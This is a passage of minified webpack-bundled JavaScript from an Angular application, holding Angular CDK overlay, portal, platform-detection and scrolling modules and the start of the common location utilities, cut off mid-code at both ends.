t(e,n,i,r,o){_(this,t),this._overlay=e,this._dir=o,this._hasBackdrop=!1,this._lockPosition=!1,this._growAfterOpen=!1,this._flexibleDimensions=!1,this._push=!1,this._backdropSubscription=g.w.EMPTY,this._attachSubscription=g.w.EMPTY,this._detachSubscription=g.w.EMPTY,this._positionSubscription=g.w.EMPTY,this.viewportMargin=0,this.open=!1,this.disableClose=!1,this.backdropClick=new a.vpe,this.positionChange=new a.vpe,this.attach=new a.vpe,this.detach=new a.vpe,this.overlayKeydown=new a.vpe,this.overlayOutsideClick=new a.vpe,this._templatePortal=new p.UE(n,i),this._scrollStrategyFactory=r,this.scrollStrategy=this._scrollStrategyFactory()}return y(t,[{key:"offsetX",get:function(){return this._offsetX},set:function(t){this._offsetX=t,this._position&&this._updatePositionStrategy(this._position)}},{key:"offsetY",get:function(){return this._offsetY},set:function(t){this._offsetY=t,this._position&&this._updatePositionStrategy(this._position)}},{key:"hasBackdrop",get:function(){return this._hasBackdrop},set:function(t){this._hasBackdrop=(0,d.Ig)(t)}},{key:"lockPosition",get:function(){return this._lockPosition},set:function(t){this._lockPosition=(0,d.Ig)(t)}},{key:"flexibleDimensions",get:function(){return this._flexibleDimensions},set:function(t){this._flexibleDimensions=(0,d.Ig)(t)}},{key:"growAfterOpen",get:function(){return this._growAfterOpen},set:function(t){this._growAfterOpen=(0,d.Ig)(t)}},{key:"push",get:function(){return this._push},set:function(t){this._push=(0,d.Ig)(t)}},{key:"overlayRef",get:function(){return this._overlayRef}},{key:"dir",get:function(){return this._dir?this._dir.value:"ltr"}},{key:"ngOnDestroy",value:function(){this._attachSubscription.unsubscribe(),this._detachSubscription.unsubscribe(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this._overlayRef&&this._overlayRef.dispose()}},{key:"ngOnChanges",value:function(t){this._position&&(this._updatePositionStrategy(this._position),this._overlayRef.updateSize({width:this.width,minWidth:this.minWidth,height:this.height,minHeight:this.minHeight}),t.origin&&this.open&&this._position.apply()),t.open&&(this.open?this._attachOverlay():this._detachOverlay())}},{key:"_createOverlay",value:function(){var t=this;(!this.positions||!this.positions.length)&&(this.positions=nt);var e=this._overlayRef=this._overlay.create(this._buildConfig());this._attachSubscription=e.attachments().subscribe(function(){return t.attach.emit()}),this._detachSubscription=e.detachments().subscribe(function(){return t.detach.emit()}),e.keydownEvents().subscribe(function(e){t.overlayKeydown.next(e),e.keyCode===E.hY&&!t.disableClose&&!(0,E.Vb)(e)&&(e.preventDefault(),t._detachOverlay())}),this._overlayRef.outsidePointerEvents().subscribe(function(e){t.overlayOutsideClick.next(e)})}},{key:"_buildConfig",value:function(){var t=this._position=this.positionStrategy||this._createPositionStrategy(),e=new M({direction:this._dir,positionStrategy:t,scrollStrategy:this.scrollStrategy,hasBackdrop:this.hasBackdrop});return(this.width||0===this.width)&&(e.width=this.width),(this.height||0===this.height)&&(e.height=this.height),(this.minWidth||0===this.minWidth)&&(e.minWidth=this.minWidth),(this.minHeight||0===this.minHeight)&&(e.minHeight=this.minHeight),this.backdropClass&&(e.backdropClass=this.backdropClass),this.panelClass&&(e.panelClass=this.panelClass),e}},{key:"_updatePositionStrategy",value:function(t){var e=this,n=this.positions.map(function(t){return{originX:t.originX,originY:t.originY,overlayX:t.overlayX,overlayY:t.overlayY,offsetX:t.offsetX||e.offsetX,offsetY:t.offsetY||e.offsetY,panelClass:t.panelClass||void 0}});return t.setOrigin(this.origin.elementRef).withPositions(n).withFlexibleDimensions(this.flexibleDimensions).withPush(this.push).withGrowAfterOpen(this.growAfterOpen).withViewportMargin(this.viewportMargin).withLockedPosition(this.lockPosition).withTransformOriginOn(this.transformOriginSelector)}},{key:"_createPositionStrategy",value:function(){var t=this._overlay.position().flexibleConnectedTo(this.origin.elementRef);return this._updatePositionStrategy(t),t}},{key:"_attachOverlay",value:function(){var t=this;this._overlayRef?this._overlayRef.getConfig().hasBackdrop=this.hasBackdrop:this._createOverlay(),this._overlayRef.hasAttached()||this._overlayRef.attach(this._templatePortal),this.hasBackdrop?this._backdropSubscription=this._overlayRef.backdropClick().subscribe(function(e){t.backdropClick.emit(e)}):this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe(),this.positionChange.observers.length>0&&(this._positionSubscription=this._position.positionChanges.pipe(function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return function(n){return n.lift(new w(t,e))}}(function(){return t.positionChange.observers.length>0})).subscribe(function(e){t.positionChange.emit(e),0===t.positionChange.observers.length&&t._positionSubscription.unsubscribe()}))}},{key:"_detachOverlay",value:function(){this._overlayRef&&this._overlayRef.detach(),this._backdropSubscription.unsubscribe(),this._positionSubscription.unsubscribe()}}]),t}();return t.\u0275fac=function(e){return new(e||t)(a.Y36(et),a.Y36(a.Rgc),a.Y36(a.s_b),a.Y36(it),a.Y36(c.Is,8))},t.\u0275dir=a.lG2({type:t,selectors:[["","cdk-connected-overlay",""],["","connected-overlay",""],["","cdkConnectedOverlay",""]],inputs:{viewportMargin:["cdkConnectedOverlayViewportMargin","viewportMargin"],open:["cdkConnectedOverlayOpen","open"],disableClose:["cdkConnectedOverlayDisableClose","disableClose"],scrollStrategy:["cdkConnectedOverlayScrollStrategy","scrollStrategy"],offsetX:["cdkConnectedOverlayOffsetX","offsetX"],offsetY:["cdkConnectedOverlayOffsetY","offsetY"],hasBackdrop:["cdkConnectedOverlayHasBackdrop","hasBackdrop"],lockPosition:["cdkConnectedOverlayLockPosition","lockPosition"],flexibleDimensions:["cdkConnectedOverlayFlexibleDimensions","flexibleDimensions"],growAfterOpen:["cdkConnectedOverlayGrowAfterOpen","growAfterOpen"],push:["cdkConnectedOverlayPush","push"],positions:["cdkConnectedOverlayPositions","positions"],origin:["cdkConnectedOverlayOrigin","origin"],positionStrategy:["cdkConnectedOverlayPositionStrategy","positionStrategy"],width:["cdkConnectedOverlayWidth","width"],height:["cdkConnectedOverlayHeight","height"],minWidth:["cdkConnectedOverlayMinWidth","minWidth"],minHeight:["cdkConnectedOverlayMinHeight","minHeight"],backdropClass:["cdkConnectedOverlayBackdropClass","backdropClass"],panelClass:["cdkConnectedOverlayPanelClass","panelClass"],transformOriginSelector:["cdkConnectedOverlayTransformOriginOn","transformOriginSelector"]},outputs:{backdropClick:"backdropClick",positionChange:"positionChange",attach:"attach",detach:"detach",overlayKeydown:"overlayKeydown",overlayOutsideClick:"overlayOutsideClick"},exportAs:["cdkConnectedOverlay"],features:[a.TTD]}),t}(),at={provide:it,deps:[et],useFactory:function(t){return function(){return t.scrollStrategies.reposition()}}},st=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=a.oAB({type:t}),t.\u0275inj=a.cJS({providers:[et,at],imports:[[c.vT,p.eL,i.Cl],i.Cl]}),t}()},36145:function(t,e,n){"use strict";n.d(e,{t4:function(){return f},ud:function(){return d},sA:function(){return w},ht:function(){return k},kV:function(){return b},Oy:function(){return C},_i:function(){return y},qK:function(){return v},i$:function(){return m},Mq:function(){return g}});var i,r=n(2316),o=n(54364);try{i="undefined"!=typeof Intl&&Intl.v8BreakIterator}catch(s){i=!1}var a,s,u,c,l,h,f=((s=function t(e){_(this,t),this._platformId=e,this.isBrowser=this._platformId?(0,o.NF)(this._platformId):"object"==typeof document&&!!document,this.EDGE=this.isBrowser&&/(edge)/i.test(navigator.userAgent),this.TRIDENT=this.isBrowser&&/(msie|trident)/i.test(navigator.userAgent),this.BLINK=this.isBrowser&&!(!window.chrome&&!i)&&"undefined"!=typeof CSS&&!this.EDGE&&!this.TRIDENT,this.WEBKIT=this.isBrowser&&/AppleWebKit/i.test(navigator.userAgent)&&!this.BLINK&&!this.EDGE&&!this.TRIDENT,this.IOS=this.isBrowser&&/iPad|iPhone|iPod/.test(navigator.userAgent)&&!("MSStream"in window),this.FIREFOX=this.isBrowser&&/(firefox|minefield)/i.test(navigator.userAgent),this.ANDROID=this.isBrowser&&/android/i.test(navigator.userAgent)&&!this.TRIDENT,this.SAFARI=this.isBrowser&&/safari/i.test(navigator.userAgent)&&this.WEBKIT}).\u0275fac=function(t){return new(t||s)(r.LFG(r.Lbi))},s.\u0275prov=r.Yz7({factory:function(){return new s(r.LFG(r.Lbi))},token:s,providedIn:"root"}),s),d=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}(),p=["color","button","checkbox","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"];function v(){if(a)return a;if("object"!=typeof document||!document)return a=new Set(p);var t=document.createElement("input");return a=new Set(p.filter(function(e){return t.setAttribute("type",e),t.type===e}))}function m(t){return function(){if(null==u&&"undefined"!=typeof window)try{window.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){return u=!0}}))}finally{u=u||!1}return u}()?t:!!t.capture}function g(){if(null==l){if("object"!=typeof document||!document||"function"!=typeof Element||!Element)return l=!1;if("scrollBehavior"in document.documentElement.style)l=!0;else{var t=Element.prototype.scrollTo;l=!!t&&!/\{\s*\[native code\]\s*\}/.test(t.toString())}}return l}function y(){if("object"!=typeof document||!document)return 0;if(null==c){var t=document.createElement("div"),e=t.style;t.dir="rtl",e.width="1px",e.overflow="auto",e.visibility="hidden",e.pointerEvents="none",e.position="absolute";var n=document.createElement("div"),i=n.style;i.width="2px",i.height="1px",t.appendChild(n),document.body.appendChild(t),c=0,0===t.scrollLeft&&(t.scrollLeft=1,c=0===t.scrollLeft?1:2),t.parentNode.removeChild(t)}return c}function b(t){if(function(){if(null==h){var t="undefined"!=typeof document?document.head:null;h=!(!t||!t.createShadowRoot&&!t.attachShadow)}return h}()){var e=t.getRootNode?t.getRootNode():null;if("undefined"!=typeof ShadowRoot&&ShadowRoot&&e instanceof ShadowRoot)return e}return null}function k(){for(var t="undefined"!=typeof document&&document?document.activeElement:null;t&&t.shadowRoot;){var e=t.shadowRoot.activeElement;if(e===t)break;t=e}return t}function w(t){return t.composedPath?t.composedPath()[0]:t.target}function C(){return"undefined"!=typeof __karma__&&!!__karma__||"undefined"!=typeof jasmine&&!!jasmine||"undefined"!=typeof jest&&!!jest||"undefined"!=typeof Mocha&&!!Mocha}},40912:function(t,e,n){"use strict";n.d(e,{en:function(){return d},Pl:function(){return g},C5:function(){return s},u0:function(){return v},eL:function(){return b},UE:function(){return c}});var i,r=n(2316),o=n(54364),a=function(){function t(){_(this,t)}return y(t,[{key:"attach",value:function(t){return this._attachedHost=t,t.attach(this)}},{key:"detach",value:function(){var t=this._attachedHost;null!=t&&(this._attachedHost=null,t.detach())}},{key:"isAttached",get:function(){return null!=this._attachedHost}},{key:"setAttachedHost",value:function(t){this._attachedHost=t}}]),t}(),s=function(t){l(n,t);var e=f(n);function n(t,i,r,o){var a;return _(this,n),(a=e.call(this)).component=t,a.viewContainerRef=i,a.injector=r,a.componentFactoryResolver=o,a}return n}(a),c=function(t){l(n,t);var e=f(n);function n(t,i,r){var o;return _(this,n),(o=e.call(this)).templateRef=t,o.viewContainerRef=i,o.context=r,o}return y(n,[{key:"origin",get:function(){return this.templateRef.elementRef}},{key:"attach",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.context;return this.context=e,u(m(n.prototype),"attach",this).call(this,t)}},{key:"detach",value:function(){return this.context=void 0,u(m(n.prototype),"detach",this).call(this)}}]),n}(a),h=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this)).element=t instanceof r.SBq?t.nativeElement:t,i}return n}(a),d=function(){function t(){_(this,t),this._isDisposed=!1,this.attachDomPortal=null}return y(t,[{key:"hasAttached",value:function(){return!!this._attachedPortal}},{key:"attach",value:function(t){return t instanceof s?(this._attachedPortal=t,this.attachComponentPortal(t)):t instanceof c?(this._attachedPortal=t,this.attachTemplatePortal(t)):this.attachDomPortal&&t instanceof h?(this._attachedPortal=t,this.attachDomPortal(t)):void 0}},{key:"detach",value:function(){this._attachedPortal&&(this._attachedPortal.setAttachedHost(null),this._attachedPortal=null),this._invokeDisposeFn()}},{key:"dispose",value:function(){this.hasAttached()&&this.detach(),this._invokeDisposeFn(),this._isDisposed=!0}},{key:"setDisposeFn",value:function(t){this._disposeFn=t}},{key:"_invokeDisposeFn",value:function(){this._disposeFn&&(this._disposeFn(),this._disposeFn=null)}}]),t}(),v=function(t){l(n,t);var e=f(n);function n(t,i,r,o,a){var s,c;return _(this,n),(c=e.call(this)).outletElement=t,c._componentFactoryResolver=i,c._appRef=r,c._defaultInjector=o,c.attachDomPortal=function(t){var e=t.element,i=c._document.createComment("dom-portal");e.parentNode.insertBefore(i,e),c.outletElement.appendChild(e),c._attachedPortal=t,u((s=p(c),m(n.prototype)),"setDisposeFn",s).call(s,function(){i.parentNode&&i.parentNode.replaceChild(e,i)})},c._document=a,c}return y(n,[{key:"attachComponentPortal",value:function(t){var e,n=this,i=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component);return t.viewContainerRef?(e=t.viewContainerRef.createComponent(i,t.viewContainerRef.length,t.injector||t.viewContainerRef.injector),this.setDisposeFn(function(){return e.destroy()})):(e=i.create(t.injector||this._defaultInjector),this._appRef.attachView(e.hostView),this.setDisposeFn(function(){n._appRef.detachView(e.hostView),e.destroy()})),this.outletElement.appendChild(this._getComponentRootNode(e)),this._attachedPortal=t,e}},{key:"attachTemplatePortal",value:function(t){var e=this,n=t.viewContainerRef,i=n.createEmbeddedView(t.templateRef,t.context);return i.rootNodes.forEach(function(t){return e.outletElement.appendChild(t)}),i.detectChanges(),this.setDisposeFn(function(){var t=n.indexOf(i);-1!==t&&n.remove(t)}),this._attachedPortal=t,i}},{key:"dispose",value:function(){u(m(n.prototype),"dispose",this).call(this),null!=this.outletElement.parentNode&&this.outletElement.parentNode.removeChild(this.outletElement)}},{key:"_getComponentRootNode",value:function(t){return t.hostView.rootNodes[0]}}]),n}(d),g=((i=function(t){l(n,t);var e=f(n);function n(t,i,o){var a,s;return _(this,n),(s=e.call(this))._componentFactoryResolver=t,s._viewContainerRef=i,s._isInitialized=!1,s.attached=new r.vpe,s.attachDomPortal=function(t){var e=t.element,i=s._document.createComment("dom-portal");t.setAttachedHost(p(s)),e.parentNode.insertBefore(i,e),s._getRootNode().appendChild(e),s._attachedPortal=t,u((a=p(s),m(n.prototype)),"setDisposeFn",a).call(a,function(){i.parentNode&&i.parentNode.replaceChild(e,i)})},s._document=o,s}return y(n,[{key:"portal",get:function(){return this._attachedPortal},set:function(t){this.hasAttached()&&!t&&!this._isInitialized||(this.hasAttached()&&u(m(n.prototype),"detach",this).call(this),t&&u(m(n.prototype),"attach",this).call(this,t),this._attachedPortal=t)}},{key:"attachedRef",get:function(){return this._attachedRef}},{key:"ngOnInit",value:function(){this._isInitialized=!0}},{key:"ngOnDestroy",value:function(){u(m(n.prototype),"dispose",this).call(this),this._attachedPortal=null,this._attachedRef=null}},{key:"attachComponentPortal",value:function(t){t.setAttachedHost(this);var e=null!=t.viewContainerRef?t.viewContainerRef:this._viewContainerRef,i=(t.componentFactoryResolver||this._componentFactoryResolver).resolveComponentFactory(t.component),r=e.createComponent(i,e.length,t.injector||e.injector);return e!==this._viewContainerRef&&this._getRootNode().appendChild(r.hostView.rootNodes[0]),u(m(n.prototype),"setDisposeFn",this).call(this,function(){return r.destroy()}),this._attachedPortal=t,this._attachedRef=r,this.attached.emit(r),r}},{key:"attachTemplatePortal",value:function(t){var e=this;t.setAttachedHost(this);var i=this._viewContainerRef.createEmbeddedView(t.templateRef,t.context);return u(m(n.prototype),"setDisposeFn",this).call(this,function(){return e._viewContainerRef.clear()}),this._attachedPortal=t,this._attachedRef=i,this.attached.emit(i),i}},{key:"_getRootNode",value:function(){var t=this._viewContainerRef.element.nativeElement;return t.nodeType===t.ELEMENT_NODE?t:t.parentNode}}]),n}(d)).\u0275fac=function(t){return new(t||i)(r.Y36(r._Vd),r.Y36(r.s_b),r.Y36(o.K0))},i.\u0275dir=r.lG2({type:i,selectors:[["","cdkPortalOutlet",""]],inputs:{portal:["cdkPortalOutlet","portal"]},outputs:{attached:"attached"},exportAs:["cdkPortalOutlet"],features:[r.qOj]}),i),b=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}()},22102:function(t,e,n){"use strict";n.d(e,{PQ:function(){return R},ZD:function(){return N},mF:function(){return O},Cl:function(){return D},rL:function(){return P}});var i=n(20657),r=n(2316),o=n(39511),a=n(31660);new(function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"flush",value:function(t){this.active=!0,this.scheduled=void 0;var e,n=this.actions,i=-1,r=n.length;t=t||n.shift();do{if(e=t.execute(t.state,t.delay))break}while(++i<r&&(t=n.shift()));if(this.active=!1,e){for(;++i<r&&(t=n.shift());)t.unsubscribe();throw e}}}]),n}(a.v))(function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t,i)).scheduler=t,r.work=i,r}return y(n,[{key:"requestAsyncId",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return null!==i&&i>0?u(m(n.prototype),"requestAsyncId",this).call(this,t,e,i):(t.actions.push(this),t.scheduled||(t.scheduled=requestAnimationFrame(function(){return t.flush(null)})))}},{key:"recycleAsyncId",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;if(null!==i&&i>0||null===i&&this.delay>0)return u(m(n.prototype),"recycleAsyncId",this).call(this,t,e,i);0===t.actions.length&&(cancelAnimationFrame(e),t.scheduled=void 0)}}]),n}(o.o));var s=1,c=Promise.resolve(),h={};function d(t){return t in h&&(delete h[t],!0)}var p=function(t){var e=s++;return h[e]=!0,c.then(function(){return d(e)&&t()}),e},v=function(t){d(t)};new(function(t){l(n,t);var e=f(n);function n(){return _(this,n),e.apply(this,arguments)}return y(n,[{key:"flush",value:function(t){this.active=!0,this.scheduled=void 0;var e,n=this.actions,i=-1,r=n.length;t=t||n.shift();do{if(e=t.execute(t.state,t.delay))break}while(++i<r&&(t=n.shift()));if(this.active=!1,e){for(;++i<r&&(t=n.shift());)t.unsubscribe();throw e}}}]),n}(a.v))(function(t){l(n,t);var e=f(n);function n(t,i){var r;return _(this,n),(r=e.call(this,t,i)).scheduler=t,r.work=i,r}return y(n,[{key:"requestAsyncId",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return null!==i&&i>0?u(m(n.prototype),"requestAsyncId",this).call(this,t,e,i):(t.actions.push(this),t.scheduled||(t.scheduled=p(t.flush.bind(t,null))))}},{key:"recycleAsyncId",value:function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;if(null!==i&&i>0||null===i&&this.delay>0)return u(m(n.prototype),"recycleAsyncId",this).call(this,t,e,i);0===t.actions.length&&(v(e),t.scheduled=void 0)}}]),n}(o.o));var g=n(79441),b=n(81134),k=n(89544),w=n(82516);n(11318),n(64674),n(71003),n(84224),n(83720);var C=n(6352),x=n(9170),S=n(22663),E=(n(1143),n(79902),n(36145)),A=n(54364),T=n(772);n(62604);var I,O=((I=function(){function t(e,n,i){_(this,t),this._ngZone=e,this._platform=n,this._scrolled=new g.xQ,this._globalSubscription=null,this._scrolledCount=0,this.scrollContainers=new Map,this._document=i}return y(t,[{key:"register",value:function(t){var e=this;this.scrollContainers.has(t)||this.scrollContainers.set(t,t.elementScrolled().subscribe(function(){return e._scrolled.next(t)}))}},{key:"deregister",value:function(t){var e=this.scrollContainers.get(t);e&&(e.unsubscribe(),this.scrollContainers.delete(t))}},{key:"scrolled",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:20;return this._platform.isBrowser?new k.y(function(n){t._globalSubscription||t._addGlobalListener();var i=e>0?t._scrolled.pipe((0,C.e)(e)).subscribe(n):t._scrolled.subscribe(n);return t._scrolledCount++,function(){i.unsubscribe(),t._scrolledCount--,t._scrolledCount||t._removeGlobalListener()}}):(0,b.of)()}},{key:"ngOnDestroy",value:function(){var t=this;this._removeGlobalListener(),this.scrollContainers.forEach(function(e,n){return t.deregister(n)}),this._scrolled.complete()}},{key:"ancestorScrolled",value:function(t,e){var n=this.getAncestorScrollContainers(t);return this.scrolled(e).pipe((0,x.h)(function(t){return!t||n.indexOf(t)>-1}))}},{key:"getAncestorScrollContainers",value:function(t){var e=this,n=[];return this.scrollContainers.forEach(function(i,r){e._scrollableContainsElement(r,t)&&n.push(r)}),n}},{key:"_getWindow",value:function(){return this._document.defaultView||window}},{key:"_scrollableContainsElement",value:function(t,e){var n=(0,i.fI)(e),r=t.getElementRef().nativeElement;do{if(n==r)return!0}while(n=n.parentElement);return!1}},{key:"_addGlobalListener",value:function(){var t=this;this._globalSubscription=this._ngZone.runOutsideAngular(function(){var e=t._getWindow();return(0,w.R)(e.document,"scroll").subscribe(function(){return t._scrolled.next()})})}},{key:"_removeGlobalListener",value:function(){this._globalSubscription&&(this._globalSubscription.unsubscribe(),this._globalSubscription=null)}}]),t}()).\u0275fac=function(t){return new(t||I)(r.LFG(r.R0b),r.LFG(E.t4),r.LFG(A.K0,8))},I.\u0275prov=r.Yz7({factory:function(){return new I(r.LFG(r.R0b),r.LFG(E.t4),r.LFG(A.K0,8))},token:I,providedIn:"root"}),I),R=function(){var t=function(){function t(e,n,i,r){var o=this;_(this,t),this.elementRef=e,this.scrollDispatcher=n,this.ngZone=i,this.dir=r,this._destroyed=new g.xQ,this._elementScrolled=new k.y(function(t){return o.ngZone.runOutsideAngular(function(){return(0,w.R)(o.elementRef.nativeElement,"scroll").pipe((0,S.R)(o._destroyed)).subscribe(t)})})}return y(t,[{key:"ngOnInit",value:function(){this.scrollDispatcher.register(this)}},{key:"ngOnDestroy",value:function(){this.scrollDispatcher.deregister(this),this._destroyed.next(),this._destroyed.complete()}},{key:"elementScrolled",value:function(){return this._elementScrolled}},{key:"getElementRef",value:function(){return this.elementRef}},{key:"scrollTo",value:function(t){var e=this.elementRef.nativeElement,n=this.dir&&"rtl"==this.dir.value;null==t.left&&(t.left=n?t.end:t.start),null==t.right&&(t.right=n?t.start:t.end),null!=t.bottom&&(t.top=e.scrollHeight-e.clientHeight-t.bottom),n&&0!=(0,E._i)()?(null!=t.left&&(t.right=e.scrollWidth-e.clientWidth-t.left),2==(0,E._i)()?t.left=t.right:1==(0,E._i)()&&(t.left=t.right?-t.right:t.right)):null!=t.right&&(t.left=e.scrollWidth-e.clientWidth-t.right),this._applyScrollToOptions(t)}},{key:"_applyScrollToOptions",value:function(t){var e=this.elementRef.nativeElement;(0,E.Mq)()?e.scrollTo(t):(null!=t.top&&(e.scrollTop=t.top),null!=t.left&&(e.scrollLeft=t.left))}},{key:"measureScrollOffset",value:function(t){var e="left",n=this.elementRef.nativeElement;if("top"==t)return n.scrollTop;if("bottom"==t)return n.scrollHeight-n.clientHeight-n.scrollTop;var i=this.dir&&"rtl"==this.dir.value;return"start"==t?t=i?"right":e:"end"==t&&(t=i?e:"right"),i&&2==(0,E._i)()?t==e?n.scrollWidth-n.clientWidth-n.scrollLeft:n.scrollLeft:i&&1==(0,E._i)()?t==e?n.scrollLeft+n.scrollWidth-n.clientWidth:-n.scrollLeft:t==e?n.scrollLeft:n.scrollWidth-n.clientWidth-n.scrollLeft}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.Y36(r.SBq),r.Y36(O),r.Y36(r.R0b),r.Y36(T.Is,8))},t.\u0275dir=r.lG2({type:t,selectors:[["","cdk-scrollable",""],["","cdkScrollable",""]]}),t}(),P=function(){var t=function(){function t(e,n,i){var r=this;_(this,t),this._platform=e,this._change=new g.xQ,this._changeListener=function(t){r._change.next(t)},this._document=i,n.runOutsideAngular(function(){if(e.isBrowser){var t=r._getWindow();t.addEventListener("resize",r._changeListener),t.addEventListener("orientationchange",r._changeListener)}r.change().subscribe(function(){return r._viewportSize=null})})}return y(t,[{key:"ngOnDestroy",value:function(){if(this._platform.isBrowser){var t=this._getWindow();t.removeEventListener("resize",this._changeListener),t.removeEventListener("orientationchange",this._changeListener)}this._change.complete()}},{key:"getViewportSize",value:function(){this._viewportSize||this._updateViewportSize();var t={width:this._viewportSize.width,height:this._viewportSize.height};return this._platform.isBrowser||(this._viewportSize=null),t}},{key:"getViewportRect",value:function(){var t=this.getViewportScrollPosition(),e=this.getViewportSize(),n=e.width,i=e.height;return{top:t.top,left:t.left,bottom:t.top+i,right:t.left+n,height:i,width:n}}},{key:"getViewportScrollPosition",value:function(){if(!this._platform.isBrowser)return{top:0,left:0};var t=this._document,e=this._getWindow(),n=t.documentElement,i=n.getBoundingClientRect();return{top:-i.top||t.body.scrollTop||e.scrollY||n.scrollTop||0,left:-i.left||t.body.scrollLeft||e.scrollX||n.scrollLeft||0}}},{key:"change",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:20;return t>0?this._change.pipe((0,C.e)(t)):this._change}},{key:"_getWindow",value:function(){return this._document.defaultView||window}},{key:"_updateViewportSize",value:function(){var t=this._getWindow();this._viewportSize=this._platform.isBrowser?{width:t.innerWidth,height:t.innerHeight}:{width:0,height:0}}}]),t}();return t.\u0275fac=function(e){return new(e||t)(r.LFG(E.t4),r.LFG(r.R0b),r.LFG(A.K0,8))},t.\u0275prov=r.Yz7({factory:function(){return new t(r.LFG(E.t4),r.LFG(r.R0b),r.LFG(A.K0,8))},token:t,providedIn:"root"}),t}(),N=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({}),t}(),D=function(){var t=function t(){_(this,t)};return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.oAB({type:t}),t.\u0275inj=r.cJS({imports:[[T.vT,E.ud,N],T.vT,N]}),t}()},20657:function(t,e,n){"use strict";n.d(e,{Eq:function(){return s},Ig:function(){return o},HM:function(){return u},fI:function(){return c},su:function(){return a},du:function(){return l}});var i=n(2316);function o(t){return null!=t&&"false"!="".concat(t)}function a(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return function(t){return!isNaN(parseFloat(t))&&!isNaN(Number(t))}(t)?Number(t):e}function s(t){return Array.isArray(t)?t:[t]}function u(t){return null==t?"":"string"==typeof t?t:"".concat(t,"px")}function c(t){return t instanceof i.SBq?t.nativeElement:t}function l(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:/\s+/,n=[];if(null!=t){var i,o=Array.isArray(t)?t:"".concat(t).split(e),a=r(o);try{for(a.s();!(i=a.n()).done;){var s=i.value,u="".concat(s).trim();u&&n.push(u)}}catch(c){a.e(c)}finally{a.f()}}return n}},54364:function(t,e,n){"use strict";n.d(e,{mr:function(){return T},Ov:function(){return Dt},ez:function(){return Mt},K0:function(){return p},uU:function(){return Lt},Do:function(){return O},V_:function(){return g},Ye:function(){return R},S$:function(){return E},mk:function(){return gt},sg:function(){return _t},O5:function(){return kt},PC:function(){return Tt},RF:function(){return St},n9:function(){return Et},ED:function(){return At},tP:function(){return It},b0:function(){return I},lw:function(){return v},EM:function(){return jt},JF:function(){return Gt},p6:function(){return $},NF:function(){return Ut},PM:function(){return Bt},qS:function(){return vt},w_:function(){return h},bD:function(){return Ft},q:function(){return s},Mx:function(){return mt},HT:function(){return u}});var i=n(2316),a=null;function s(){return a}function u(t){a||(a=t)}var c,h=function t(){_(this,t)},p=new i.OlP("DocumentToken"),v=((c=function(){function t(){_(this,t)}return y(t,[{key:"historyGo",value:function(t){throw new Error("Not implemented")}}]),t}()).\u0275fac=function(t){return new(t||c)},c.\u0275prov=(0,i.Yz7)({factory:m,token:c,providedIn:"platform"}),c);function m(){return(0,i.LFG)(b)}var g=new i.OlP("Location Initialized"),b=function(){var t=function(t){l(n,t);var e=f(n);function n(t){var i;return _(this,n),(i=e.call(this))._doc=t,i._init(),i}return y(n,[{key:"_init",value:function(){this.location=window.location,this._history=window.history}},{key:"getBaseHrefFromDOM",value:function(){return s().getBaseHref(this._doc)}},{key:"onPopState",value:function(t){var e=s().getGlobalEventTarget(this._doc,"window");return e.addEventListener("popstate",t,!1),function(){return e.removeEventListener("popstate",t)}}},{key:"onHashChange",value:function(t){var e=s().getGlobalEventTarget(this._doc,"window");return e.addEventListener("hashchange",t,!1),function(){return e.removeEventListener("hashchange",t)}}},{key:"href",get:function(){return this.location.href}},{key:"protocol",get:function(){return this.location.protocol}},{key:"hostname",get:function(){return this.location.hostname}},{key:"port",get:function(){return this.location.port}},{key:"pathname",get:function(){return this.location.pathname},set:function(t){this.location.pathname=t}},{key:"search",get:function(){return this.location.search}},{key:"hash",get:function(){return this.location.hash}},{key:"pushState",value:function(t,e,n){k()?this._history.pushState(t,e,n):this.location.hash=n}},{key:"replaceState",value:function(t,e,n){k()?this._history.replaceState(t,e,n):this.location.hash=n}},{key:"forward",value:function(){this._history.forward()}},{key:"back",value:function(){this._history.back()}},{key:"historyGo",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;this._history.go(t)}},{key:"getState",value:function(){return this._history.state}}]),n}(v);return t.\u0275fac=function(e){return new(e||t)(i.LFG(p))},t.\u0275prov=(0,i.Yz7)({factory:w,token:t,providedIn:"platform"}),t}();function k(){return!!window.history.pushState}function w(){return new b((0,i.LFG)(p))}function C(t,e){if(0==t.length)return e;if(0==e.length)return t;var n=0;return t.endsWith("/")&&n++,e.startsWith("/")&&n++,2==n?t+e.substring(1):1==n?t+e:t+"/"+e}function x(t){var e=t.match(/#|\?|$/),n=e&&e.index||t.length;return t.slice(0,n-("/"===t[n-1]?1:0))+t.slice(n)}function S(t){return 